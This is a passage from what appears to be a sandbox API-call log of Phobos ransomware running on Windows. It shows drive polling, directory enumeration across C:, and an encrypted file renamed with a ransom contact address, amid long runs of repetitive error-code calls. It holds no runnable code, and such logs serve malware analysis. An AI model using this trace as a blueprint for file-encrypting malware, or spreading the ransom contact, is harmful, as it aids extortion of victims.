GetLogicalDrives () returned 0x4 [0176.935] Sleep (dwMilliseconds=0x3e8) [0177.950] GetLogicalDrives () returned 0x4 [0177.950] Sleep (dwMilliseconds=0x3e8) [0178.953] GetLogicalDrives () returned 0x4 [0178.953] Sleep (dwMilliseconds=0x3e8) [0179.992] GetLogicalDrives () returned 0x4 [0179.992] Sleep (dwMilliseconds=0x3e8) [0180.999] GetLogicalDrives () returned 0x4 [0180.999] Sleep (dwMilliseconds=0x3e8) [0182.018] GetLogicalDrives () returned 0x4 [0182.018] Sleep (dwMilliseconds=0x3e8) [0183.019] GetLogicalDrives () returned 0x4 [0183.019] Sleep (dwMilliseconds=0x3e8) Thread: id = 112 os_tid = 0x660 [0161.650] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x38) returned 0x6f1068 [0161.650] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x18) returned 0x6f1328 [0161.650] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x278 [0161.650] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x27c [0161.650] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x280 [0161.650] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10000) returned 0x29a0048 [0161.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xc43957, lpParameter=0x25df9e4, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284 [0161.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xc43957, lpParameter=0x25df9e4, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288 [0161.652] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10000) returned 0x29b0050 [0161.653] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x25df75c | out: lpFindFileData=0x25df75c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x1b94c8 [0161.653] GetLastError () returned 0x0 [0161.654] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x214) returned 0x6f8708 [0161.654] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bf0000 [0161.654] GetCurrentThreadId () returned 0x660 [0161.654] SetLastError (dwErrCode=0x0) [0161.654] GetLastError () returned 0x0 [0161.654] SetLastError (dwErrCode=0x0) [0161.654] GetLastError () returned 0x0 [0161.654] SetLastError (dwErrCode=0x0) [0161.654] GetLastError () returned 0x0 [0161.655] SetLastError (dwErrCode=0x0) [0161.655] GetLastError () returned 0x0 [0161.655] SetLastError (dwErrCode=0x0) [0161.655] GetLastError () returned 0x0 [0161.655] SetLastError (dwErrCode=0x0) [0161.655] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10000) returned 0x29c0058 [0161.655] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x25df4d8 | out: lpFindFileData=0x25df4d8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0x1b90c8 [0161.656] FindNextFileW (in: hFindFile=0x1b90c8, lpFindFileData=0x25df4d8 | out: lpFindFileData=0x25df4d8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0161.656] FindNextFileW (in: hFindFile=0x1b90c8, lpFindFileData=0x25df4d8 | out: lpFindFileData=0x25df4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Logs", cAlternateFileName="")) returned 1 [0161.656] GetLastError () returned 0x0 [0161.656] SetLastError (dwErrCode=0x0) [0161.656] GetLastError () returned 0x0 [0161.656] SetLastError (dwErrCode=0x0) [0161.656] GetLastError () returned 0x0 [0161.656] SetLastError (dwErrCode=0x0) [0161.656] GetLastError () returned 0x0 [0161.656] SetLastError (dwErrCode=0x0) [0161.656] GetLastError () returned 0x0 [0161.656] SetLastError (dwErrCode=0x0) [0161.656] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10000) returned 0x29d0060 [0161.657] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x25df254 | out: lpFindFileData=0x25df254*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8f08 [0161.658] FindNextFileW (in: hFindFile=0x1b8f08, lpFindFileData=0x25df254 | out: lpFindFileData=0x25df254*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.659] FindNextFileW (in: hFindFile=0x1b8f08, lpFindFileData=0x25df254 | out: lpFindFileData=0x25df254*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef13df77, ftCreationTime.dwHighDateTime=0x1d50bc2, ftLastAccessTime.dwLowDateTime=0xef13df77, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xef164198, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0xa7e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id[B4197730-0001].[phobosrecovery@cock.li].phobos", cAlternateFileName="DOWNLE~1.PHO")) returned 1 [0161.659] GetLastError () returned 0x0 [0161.659] SetLastError (dwErrCode=0x0) [0161.659] GetLastError () returned 0x0 [0161.659] SetLastError (dwErrCode=0x0) [0161.659] GetLastError () returned 0x0 [0161.659] SetLastError (dwErrCode=0x0) [0161.659] GetLastError () returned 0x0 [0161.659] SetLastError (dwErrCode=0x0) [0161.659] GetLastError () returned 0x0 [0161.659] SetLastError (dwErrCode=0x0) [0161.659] GetLastError () returned 0x0 [0161.659] SetLastError (dwErrCode=0x0) [0161.659] GetLastError () returned 0x0 [0161.660] SetLastError (dwErrCode=0x0) [0161.660] GetLastError () returned 0x0 [0161.660] SetLastError (dwErrCode=0x0) [0161.660] GetLastError () returned 0x0 [0161.660] SetLastError (dwErrCode=0x0) [0161.660] GetLastError () returned 0x0 [0161.660] SetLastError (dwErrCode=0x0) [0161.660] GetLastError () returned 0x0 [0161.660] SetLastError (dwErrCode=0x0) [0161.660] GetLastError () returned 0x0 [0161.660] SetLastError (dwErrCode=0x0) [0161.660] GetLastError () returned 0x0 [0161.660] SetLastError (dwErrCode=0x0) [0161.660] GetLastError () returned 0x0 [0161.660] SetLastError (dwErrCode=0x0) [0161.660] GetLastError () returned 0x0 [0161.660] SetLastError (dwErrCode=0x0) [0161.660] GetLastError () returned 0x0 [0161.661] SetLastError (dwErrCode=0x0) [0161.661] GetLastError () returned 0x0 [0161.661] SetLastError (dwErrCode=0x0) [0161.661] GetLastError () returned 0x0 [0161.661] SetLastError (dwErrCode=0x0) [0161.661] GetLastError () returned 0x0 [0161.661] SetLastError (dwErrCode=0x0) [0161.661] GetLastError () returned 0x0 [0161.661] SetLastError (dwErrCode=0x0) [0161.661] GetLastError () returned 0x0 [0161.661] SetLastError (dwErrCode=0x0) [0161.661] GetLastError () returned 0x0 [0161.661] SetLastError (dwErrCode=0x0) [0161.661] GetLastError () returned 0x0 [0161.661] SetLastError (dwErrCode=0x0) [0161.661] GetLastError () returned 0x0 [0161.661] SetLastError (dwErrCode=0x0) [0161.662] GetLastError () returned 0x0 [0161.662] SetLastError (dwErrCode=0x0) [0161.662] GetLastError () returned 0x0 [0161.662] SetLastError (dwErrCode=0x0) [0161.662] GetLastError () returned 0x0 [0161.662] SetLastError (dwErrCode=0x0) [0161.662] GetLastError () returned 0x0 [0161.662] SetLastError (dwErrCode=0x0) [0161.662] GetLastError () returned 0x0 [0161.662] SetLastError (dwErrCode=0x0) [0161.662] GetLastError () returned 0x0 [0161.662] SetLastError (dwErrCode=0x0) [0161.662] GetLastError () returned 0x0 [0161.662] SetLastError (dwErrCode=0x0) [0161.662] GetLastError () returned 0x0 [0161.662] SetLastError (dwErrCode=0x0) [0161.662] GetLastError () returned 0x0 [0161.663] SetLastError (dwErrCode=0x0) [0161.663] GetLastError () returned 0x0 [0161.663] SetLastError (dwErrCode=0x0) [0161.663] GetLastError () returned 0x0 [0161.663] SetLastError (dwErrCode=0x0) [0161.663] GetLastError () returned 0x0 [0161.663] SetLastError (dwErrCode=0x0) [0161.663] GetLastError () returned 0x0 [0161.663] SetLastError (dwErrCode=0x0) [0161.663] GetLastError () returned 0x0 [0161.663] SetLastError (dwErrCode=0x0) [0161.663] GetLastError () returned 0x0 [0161.663] SetLastError (dwErrCode=0x0) [0161.663] GetLastError () returned 0x0 [0161.663] SetLastError (dwErrCode=0x0) [0161.663] GetLastError () returned 0x0 [0161.663] SetLastError (dwErrCode=0x0) [0161.663] GetLastError () returned 0x0 [0161.664] SetLastError (dwErrCode=0x0) [0161.664] GetLastError () returned 0x0 [0161.664] SetLastError (dwErrCode=0x0) [0161.664] GetLastError () returned 0x0 [0161.664] SetLastError (dwErrCode=0x0) [0161.664] GetLastError () returned 0x0 [0161.664] SetLastError (dwErrCode=0x0) [0161.664] GetLastError () returned 0x0 [0161.664] SetLastError (dwErrCode=0x0) [0161.664] GetLastError () returned 0x0 [0161.664] SetLastError (dwErrCode=0x0) [0161.664] GetLastError () returned 0x0 [0161.664] SetLastError (dwErrCode=0x0) [0161.664] GetLastError () returned 0x0 [0161.664] SetLastError (dwErrCode=0x0) [0161.669] GetLastError () returned 0x0 [0161.669] SetLastError (dwErrCode=0x0) [0161.669] GetLastError () returned 0x0 [0161.669] SetLastError (dwErrCode=0x0) [0161.669] GetLastError () returned 0x0 [0161.669] SetLastError (dwErrCode=0x0) [0161.669] GetLastError () returned 0x0 [0161.669] SetLastError (dwErrCode=0x0) [0161.670] GetLastError () returned 0x0 [0161.670] SetLastError (dwErrCode=0x0) [0161.670] GetLastError () returned 0x0 [0161.670] SetLastError (dwErrCode=0x0) [0161.670] GetLastError () returned 0x0 [0161.670] SetLastError (dwErrCode=0x0) [0161.670] GetLastError () returned 0x0 [0161.670] SetLastError (dwErrCode=0x0) [0161.670] GetLastError () returned 0x0 [0161.670] SetLastError (dwErrCode=0x0) [0161.670] GetLastError () returned 0x0 [0161.670] SetLastError (dwErrCode=0x0) [0161.670] GetLastError () returned 0x0 [0161.670] SetLastError (dwErrCode=0x0) [0161.670] GetLastError () returned 0x0 [0161.670] SetLastError (dwErrCode=0x0) [0161.670] GetLastError () returned 0x0 [0161.670] SetLastError (dwErrCode=0x0) [0161.670] GetLastError () returned 0x0 [0161.670] SetLastError (dwErrCode=0x0) [0161.670] GetLastError () returned 0x0 [0161.670] SetLastError (dwErrCode=0x0) [0161.670] GetLastError () returned 0x0 [0161.671] SetLastError (dwErrCode=0x0) [0161.671] GetLastError () returned 0x0 [0161.671] SetLastError (dwErrCode=0x0) [0161.671] GetLastError () returned 0x0 [0161.671] SetLastError (dwErrCode=0x0) [0161.671] GetLastError () returned 0x0 [0161.671] SetLastError (dwErrCode=0x0) [0161.671] GetLastError () returned 0x0 [0161.671] SetLastError (dwErrCode=0x0) [0161.671] GetLastError () returned 0x0 [0161.671] SetLastError (dwErrCode=0x0) [0161.671] GetLastError () returned 0x0 [0161.671] SetLastError (dwErrCode=0x0) [0161.671] GetLastError () returned 0x0 [0161.671] SetLastError (dwErrCode=0x0) [0161.671] GetLastError () returned 0x0 [0161.671] SetLastError (dwErrCode=0x0) [0161.671] GetLastError () returned 0x0 [0161.671] SetLastError (dwErrCode=0x0) [0161.671] GetLastError () returned 0x0 [0161.671] SetLastError (dwErrCode=0x0) [0161.672] GetLastError () returned 0x0 [0161.672] SetLastError (dwErrCode=0x0) [0161.672] GetLastError () returned 0x0 [0161.672] SetLastError (dwErrCode=0x0) [0161.672] GetLastError () returned 0x0 [0161.672] SetLastError (dwErrCode=0x0) [0161.672] GetLastError () returned 0x0 [0161.672] SetLastError (dwErrCode=0x0) [0161.672] GetLastError () returned 0x0 [0161.672] SetLastError (dwErrCode=0x0) [0161.672] GetLastError () returned 0x0 [0161.672] SetLastError (dwErrCode=0x0) [0161.672] GetLastError () returned 0x0 [0161.672] SetLastError (dwErrCode=0x0) [0161.672] GetLastError () returned 0x0 [0161.672] SetLastError (dwErrCode=0x0) [0161.672] GetLastError () returned 0x0 [0161.672] SetLastError (dwErrCode=0x0) [0161.672] GetLastError () returned 0x0 [0161.672] SetLastError (dwErrCode=0x0) [0161.672] GetLastError () returned 0x0 [0161.672] SetLastError (dwErrCode=0x0) [0161.673] GetLastError () returned 0x0 [0161.673] SetLastError (dwErrCode=0x0) [0161.673] GetLastError () returned 0x0 [0161.673] SetLastError (dwErrCode=0x0) [0161.673] GetLastError () returned 0x0 [0161.673] SetLastError (dwErrCode=0x0) [0161.673] GetLastError () returned 0x0 [0161.673] SetLastError (dwErrCode=0x0) [0161.673] GetLastError () returned 0x0 [0161.673] SetLastError (dwErrCode=0x0) [0161.673] GetLastError () returned 0x0 [0161.673] SetLastError (dwErrCode=0x0) [0161.673] GetLastError () returned 0x0 [0161.673] SetLastError (dwErrCode=0x0) [0161.673] GetLastError () returned 0x0 [0161.673] SetLastError (dwErrCode=0x0) [0161.673] GetLastError () returned 0x0 [0161.674] SetLastError (dwErrCode=0x0) [0161.674] GetLastError () returned 0x0 [0161.674] SetLastError (dwErrCode=0x0) [0161.674] GetLastError () returned 0x0 [0161.674] SetLastError (dwErrCode=0x0) [0161.674] GetLastError () returned 0x0 [0161.674] SetLastError (dwErrCode=0x0) [0161.674] GetLastError () returned 0x0 [0161.674] SetLastError (dwErrCode=0x0) [0161.674] GetLastError () returned 0x0 [0161.674] SetLastError (dwErrCode=0x0) [0161.674] GetLastError () returned 0x0 [0161.674] SetLastError (dwErrCode=0x0) [0161.674] GetLastError () returned 0x0 [0161.674] SetLastError (dwErrCode=0x0) [0161.674] GetLastError () returned 0x0 [0161.674] SetLastError (dwErrCode=0x0) [0161.674] GetLastError () returned 0x0 [0161.674] SetLastError (dwErrCode=0x0) [0161.675] GetLastError () returned 0x0 [0161.675] SetLastError (dwErrCode=0x0) [0161.675] GetLastError () returned 0x0 [0161.675] SetLastError (dwErrCode=0x0) [0161.675] GetLastError () returned 0x0 [0161.675] SetLastError (dwErrCode=0x0) [0161.675] GetLastError () returned 0x0 [0161.675] SetLastError (dwErrCode=0x0) [0161.675] GetLastError () returned 0x0 [0161.675] SetLastError (dwErrCode=0x0) [0161.675] GetLastError () returned 0x0 [0161.675] SetLastError (dwErrCode=0x0) [0161.675] GetLastError () returned 0x0 [0161.675] SetLastError (dwErrCode=0x0) [0161.675] GetLastError () returned 0x0 [0161.675] SetLastError (dwErrCode=0x0) [0161.675] GetLastError () returned 0x0 [0161.675] SetLastError (dwErrCode=0x0) [0161.675] GetLastError () returned 0x0 [0161.676] SetLastError (dwErrCode=0x0) [0161.676] GetLastError () returned 0x0 [0161.676] SetLastError (dwErrCode=0x0) [0161.676] GetLastError () returned 0x0 [0161.676] SetLastError (dwErrCode=0x0) [0161.676] GetLastError () returned 0x0 [0161.676] SetLastError (dwErrCode=0x0) [0161.676] GetLastError () returned 0x0 [0161.676] SetLastError (dwErrCode=0x0) [0161.676] GetLastError () returned 0x0 [0161.676] SetLastError (dwErrCode=0x0) [0161.676] GetLastError () returned 0x0 [0161.676] SetLastError (dwErrCode=0x0) [0161.676] GetLastError () returned 0x0 [0161.676] SetLastError (dwErrCode=0x0) [0161.676] GetLastError () returned 0x0 [0161.676] SetLastError (dwErrCode=0x0) [0161.676] GetLastError () returned 0x0 [0161.677] SetLastError (dwErrCode=0x0) [0161.677] GetLastError () returned 0x0 [0161.677] SetLastError (dwErrCode=0x0) [0161.677] GetLastError () returned 0x0 [0161.677] SetLastError (dwErrCode=0x0) [0161.677] GetLastError () returned 0x0 [0161.677] SetLastError (dwErrCode=0x0) [0161.677] GetLastError () returned 0x0 [0161.677] SetLastError (dwErrCode=0x0) [0161.677] GetLastError () returned 0x0 [0161.677] SetLastError (dwErrCode=0x0) [0161.677] GetLastError () returned 0x0 [0161.677] SetLastError (dwErrCode=0x0) [0161.677] GetLastError () returned 0x0 [0161.677] SetLastError (dwErrCode=0x0) [0161.677] GetLastError () returned 0x0 [0161.677] SetLastError (dwErrCode=0x0) [0161.677] GetLastError () returned 0x0 [0161.677] SetLastError (dwErrCode=0x0) [0161.677] GetLastError () returned 0x0 [0161.678] SetLastError (dwErrCode=0x0) [0161.678] GetLastError () returned 0x0 [0161.678] SetLastError (dwErrCode=0x0) [0161.678] GetLastError () returned 0x0 [0161.678] SetLastError (dwErrCode=0x0) [0161.678] GetLastError () returned 0x0 [0161.678] SetLastError (dwErrCode=0x0) [0161.678] GetLastError () returned 0x0 [0161.678] SetLastError (dwErrCode=0x0) [0161.678] GetLastError () returned 0x0 [0161.678] SetLastError (dwErrCode=0x0) [0161.678] GetLastError () returned 0x0 [0161.678] SetLastError (dwErrCode=0x0) [0161.678] GetLastError () returned 0x0 [0161.678] SetLastError (dwErrCode=0x0) [0161.678] GetLastError () returned 0x0 [0161.678] SetLastError (dwErrCode=0x0) [0161.678] GetLastError () returned 0x0 [0161.679] SetLastError (dwErrCode=0x0) [0161.679] GetLastError () returned 0x0 [0161.679] SetLastError (dwErrCode=0x0) [0161.679] GetLastError () returned 0x0 [0161.679] SetLastError (dwErrCode=0x0) [0161.679] GetLastError () returned 0x0 [0161.679] SetLastError (dwErrCode=0x0) [0161.679] GetLastError () returned 0x0 [0161.679] SetLastError (dwErrCode=0x0) [0161.679] GetLastError () returned 0x0 [0161.679] SetLastError (dwErrCode=0x0) [0161.679] GetLastError () returned 0x0 [0161.679] SetLastError (dwErrCode=0x0) [0161.679] GetLastError () returned 0x0 [0161.679] SetLastError (dwErrCode=0x0) [0161.679] GetLastError () returned 0x0 [0161.679] SetLastError (dwErrCode=0x0) [0161.679] GetLastError () returned 0x0 [0161.679] SetLastError (dwErrCode=0x0) [0161.680] GetLastError () returned 0x0 [0161.680] SetLastError (dwErrCode=0x0) [0161.680] GetLastError () returned 0x0 [0161.680] SetLastError (dwErrCode=0x0) [0161.680] GetLastError () returned 0x0 [0161.680] SetLastError (dwErrCode=0x0) [0161.680] GetLastError () returned 0x0 [0161.680] SetLastError (dwErrCode=0x0) [0161.680] GetLastError () returned 0x0 [0161.680] SetLastError (dwErrCode=0x0) [0161.680] GetLastError () returned 0x0 [0161.680] SetLastError (dwErrCode=0x0) [0161.680] GetLastError () returned 0x0 [0161.680] SetLastError (dwErrCode=0x0) [0161.680] GetLastError () returned 0x0 [0161.680] SetLastError (dwErrCode=0x0) [0161.680] GetLastError () returned 0x0 [0161.680] SetLastError (dwErrCode=0x0) [0161.680] GetLastError () returned 0x0 [0161.680] SetLastError (dwErrCode=0x0) [0161.681] GetLastError () returned 0x0 [0161.681] SetLastError (dwErrCode=0x0) [0161.681] GetLastError () returned 0x0 [0161.681] SetLastError (dwErrCode=0x0) [0161.681] GetLastError () returned 0x0 [0161.681] SetLastError (dwErrCode=0x0) [0161.681] GetLastError () returned 0x0 [0161.681] SetLastError (dwErrCode=0x0) [0161.681] GetLastError () returned 0x0 [0161.681] SetLastError (dwErrCode=0x0) [0161.681] GetLastError () returned 0x0 [0161.681] SetLastError (dwErrCode=0x0) [0161.681] GetLastError () returned 0x0 [0161.681] SetLastError (dwErrCode=0x0) [0161.681] GetLastError () returned 0x0 [0161.681] SetLastError (dwErrCode=0x0) [0161.681] GetLastError () returned 0x0 [0161.681] SetLastError (dwErrCode=0x0) [0161.681] GetLastError () returned 0x0 [0161.681] SetLastError (dwErrCode=0x0) [0161.681] GetLastError () returned 0x0 [0161.681] SetLastError (dwErrCode=0x0) [0161.682] GetLastError () returned 0x0 [0161.682] SetLastError (dwErrCode=0x0) [0161.682] GetLastError () returned 0x0 [0161.682] SetLastError (dwErrCode=0x0) [0161.682] GetLastError () returned 0x0 [0161.682] SetLastError (dwErrCode=0x0) [0161.682] GetLastError () returned 0x0 [0161.682] SetLastError (dwErrCode=0x0) [0161.682] GetLastError () returned 0x0 [0162.214] SetLastError (dwErrCode=0x0) [0162.214] GetLastError () returned 0x0 [0162.214] SetLastError (dwErrCode=0x0) [0162.214] GetLastError () returned 0x0 [0162.214] SetLastError (dwErrCode=0x0) [0162.214] GetLastError () returned 0x0 [0162.214] SetLastError (dwErrCode=0x0) [0162.214] GetLastError () returned 0x0 [0162.214] SetLastError (dwErrCode=0x0) [0162.214] GetLastError () returned 0x0 [0162.215] SetLastError (dwErrCode=0x0) [0162.215] GetLastError () returned 0x0 [0162.215] SetLastError (dwErrCode=0x0) [0162.215] GetLastError () returned 0x0 [0162.215] SetLastError (dwErrCode=0x0) [0162.215] GetLastError () returned 0x0 [0162.215] SetLastError (dwErrCode=0x0) [0162.215] GetLastError () returned 0x0 [0162.215] SetLastError (dwErrCode=0x0) [0162.215] GetLastError () returned 0x0 [0162.215] SetLastError (dwErrCode=0x0) [0162.215] GetLastError () returned 0x0 [0162.215] SetLastError (dwErrCode=0x0) [0162.215] GetLastError () returned 0x0 [0162.215] SetLastError (dwErrCode=0x0) [0162.215] GetLastError () returned 0x0 [0162.215] SetLastError (dwErrCode=0x0) [0162.215] GetLastError () returned 0x0 [0162.215] SetLastError (dwErrCode=0x0) [0162.215] GetLastError () returned 0x0 [0162.215] SetLastError (dwErrCode=0x0) [0162.215] GetLastError () returned 0x0 [0162.215] SetLastError (dwErrCode=0x0) [0162.215] GetLastError () returned 0x0 [0162.215] SetLastError (dwErrCode=0x0) [0162.215] GetLastError () returned 0x0 [0162.216] SetLastError (dwErrCode=0x0) [0162.216] GetLastError () returned 0x0 [0162.216] SetLastError (dwErrCode=0x0) [0162.216] GetLastError () returned 0x0 [0162.216] SetLastError (dwErrCode=0x0) [0162.216] GetLastError () returned 0x0 [0162.216] SetLastError (dwErrCode=0x0) [0162.216] GetLastError () returned 0x0 [0162.216] SetLastError (dwErrCode=0x0) [0162.216] GetLastError () returned 0x0 [0162.216] SetLastError (dwErrCode=0x0) [0162.216] GetLastError () returned 0x0 [0162.216] SetLastError (dwErrCode=0x0) [0162.216] GetLastError () returned 0x0 [0162.216] SetLastError (dwErrCode=0x0) [0162.216] GetLastError () returned 0x0 [0162.216] SetLastError (dwErrCode=0x0) [0162.216] GetLastError () returned 0x0 [0162.216] SetLastError (dwErrCode=0x0) [0162.216] GetLastError () returned 0x0 [0162.216] SetLastError (dwErrCode=0x0) [0162.216] GetLastError () returned 0x0 [0162.216] SetLastError (dwErrCode=0x0) [0162.216] GetLastError () returned 0x0 [0162.216] SetLastError (dwErrCode=0x0) [0162.216] GetLastError () returned 0x0 [0162.217] SetLastError (dwErrCode=0x0) [0162.217] GetLastError () returned 0x0 [0162.217] SetLastError (dwErrCode=0x0) [0162.217] GetLastError () returned 0x0 [0162.217] SetLastError (dwErrCode=0x0) [0162.217] GetLastError () returned 0x0 [0162.217] SetLastError (dwErrCode=0x0) [0162.217] GetLastError () returned 0x0 [0162.217] SetLastError (dwErrCode=0x0) [0162.217] GetLastError () returned 0x0 [0162.217] SetLastError (dwErrCode=0x0) [0162.217] GetLastError () returned 0x0 [0162.217] SetLastError (dwErrCode=0x0) [0162.217] GetLastError () returned 0x0 [0162.217] SetLastError (dwErrCode=0x0) [0162.217] GetLastError () returned 0x0 [0162.217] SetLastError (dwErrCode=0x0) [0162.217] GetLastError () returned 0x0 [0162.217] SetLastError (dwErrCode=0x0) [0162.217] GetLastError () returned 0x0 [0162.217] SetLastError (dwErrCode=0x0) [0162.217] GetLastError () returned 0x0 [0162.218] SetLastError (dwErrCode=0x0) [0162.218] GetLastError () returned 0x0 [0162.218] SetLastError (dwErrCode=0x0) [0162.218] GetLastError () returned 0x0 [0162.218] SetLastError (dwErrCode=0x0) [0162.218] GetLastError () returned 0x0 [0162.218] SetLastError (dwErrCode=0x0) [0162.218] GetLastError () returned 0x0 [0162.218] SetLastError (dwErrCode=0x0) [0162.218] GetLastError () returned 0x0 [0162.218] SetLastError (dwErrCode=0x0) [0162.218] GetLastError () returned 0x0 [0162.218] SetLastError (dwErrCode=0x0) [0162.218] GetLastError () returned 0x0 [0162.218] SetLastError (dwErrCode=0x0) [0162.218] GetLastError () returned 0x0 [0162.218] SetLastError (dwErrCode=0x0) [0162.218] GetLastError () returned 0x0 [0162.218] SetLastError (dwErrCode=0x0) [0162.218] GetLastError () returned 0x0 [0162.218] SetLastError (dwErrCode=0x0) [0162.218] GetLastError () returned 0x0 [0162.219] SetLastError (dwErrCode=0x0) [0162.219] GetLastError () returned 0x0 [0162.219] SetLastError (dwErrCode=0x0) [0162.219] GetLastError () returned 0x0 [0162.219] SetLastError (dwErrCode=0x0) [0162.219] GetLastError () returned 0x0 [0162.219] SetLastError (dwErrCode=0x0) [0162.219] GetLastError () returned 0x0 [0162.219] SetLastError (dwErrCode=0x0) [0162.219] GetLastError () returned 0x0 [0162.219] SetLastError (dwErrCode=0x0) [0162.219] GetLastError () returned 0x0 [0162.219] SetLastError (dwErrCode=0x0) [0162.219] GetLastError () returned 0x0 [0162.219] SetLastError (dwErrCode=0x0) [0162.219] GetLastError () returned 0x0 [0162.219] SetLastError (dwErrCode=0x0) [0163.700] FindNextFileW (in: hFindFile=0x1d1850, lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.700] FindNextFileW (in: hFindFile=0x1d1850, lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0163.700] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d19d0 [0163.700] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x25ded4c | out: 